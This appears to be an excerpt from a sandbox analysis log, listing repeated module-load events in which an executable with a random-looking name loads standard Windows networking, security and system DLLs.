    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: mswsock.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: fwpuclnt.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winnsi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: rasadhlp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: urlmon.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: srvcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: mswsock.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winnsi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: fwpuclnt.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: rasadhlp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: urlmon.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: srvcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
